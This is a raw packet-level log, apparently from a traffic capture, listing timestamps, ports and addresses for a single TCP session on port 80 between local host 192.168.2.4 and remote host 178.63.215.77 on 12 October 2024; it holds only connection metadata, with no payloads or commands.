Oct 12, 2024 14:17:04.996277094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996306896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996309042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996330023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996337891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996349096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996370077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996393919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996401072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996426105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996433020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996440887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996463060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996479034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996495962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996504068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996527910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996552944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996561050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996572018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996591091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996603012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996623993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996632099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996658087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996681929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.996711016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.001863003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.001923084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.001936913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.001970053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.001971960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002003908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002027035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002036095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002060890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002067089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002089977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002101898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002118111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002149105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002170086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002218008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002232075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002265930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002265930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002300024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002325058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002331018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002341032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002363920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002384901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002393961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002403975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002425909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002449036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002453089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002484083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002490044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002506018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002515078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002525091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002548933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002563000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002582073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002593994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002613068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002626896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002646923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002657890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002672911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.002695084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.002721071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065037012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065097094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065121889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065129042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065154076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065161943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065172911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065195084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065216064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065227032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065247059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065262079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.065274000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.065314054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073391914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073448896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073455095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073478937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073503971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073524952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073527098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073560953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073586941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073591948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073606014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073626041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073642015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073657990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.073673010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.073705912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082313061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082345009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082379103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082395077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082401037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082426071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082449913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082458973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082472086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082490921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082514048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082523108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082532883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082576036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082586050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082638979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.082901955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.082958937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083050013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083077908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083112955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083126068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083132982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083158970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083203077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083204031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083206892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083241940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083265066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083282948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083290100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083323002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083353996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083353996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083378077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083404064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083406925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083436966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083470106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083471060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083492041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083519936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083522081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083551884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083575010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083599091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083600044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083632946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083662033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083682060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083683014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083715916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083739042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083745956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083761930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083781004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083802938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083825111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083827972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083859921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083885908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083904028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083909035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083957911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.083956957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.083988905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084012985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084036112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084037066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084069014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084095001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084105015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084116936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084136009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084162951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084167957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084182024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084199905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084217072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084230900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084254980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084266901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084283113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084304094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084312916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084335089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084363937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084384918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084393024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084414959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084444046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084448099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084460020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084477901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084511042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084511995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084534883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084542036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084553003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084557056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084578037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084585905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084592104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084604979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084605932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084625959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084630013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084630013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084639072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084652901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084654093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084666967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084671974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084681034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084691048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084703922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084726095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084733009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084748030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084762096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084774017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084778070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084778070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084786892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084798098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084801912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084815979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084820986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084830046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084836960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084845066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084856987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084860086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084873915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084880114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084887981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084894896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084901094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084916115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084918976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084933043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084947109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084944010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084961891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084971905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.084975958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.084986925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.085014105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091137886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091151953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091173887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091187954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091195107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091202021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091214895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091216087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091239929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091244936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091253996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091268063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091272116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091283083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091296911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091300964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091317892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091332912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091329098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091346025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091351986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091361046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091371059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091375113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091403008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091425896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091437101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091484070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091495037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091511965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.091530085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.091551065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.092267036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.092289925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.092325926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.092345953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.154537916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154597044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154633045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154665947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154666901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.154699087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154731035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154758930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.154767036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.154875040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.162451982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162600040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162612915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.162632942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162664890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162695885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162703037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.162729025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162775993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.162813902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.162879944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171322107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171426058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171473026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171505928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171566963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171587944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171618938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171618938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171653032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171683073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171684980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171717882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171772003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171832085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171842098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171921015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.171938896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.171988964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172000885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172059059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172063112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172095060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.172121048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172135115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.172144890 CEST	80	49730	178.63.215.77	192.168.2.4
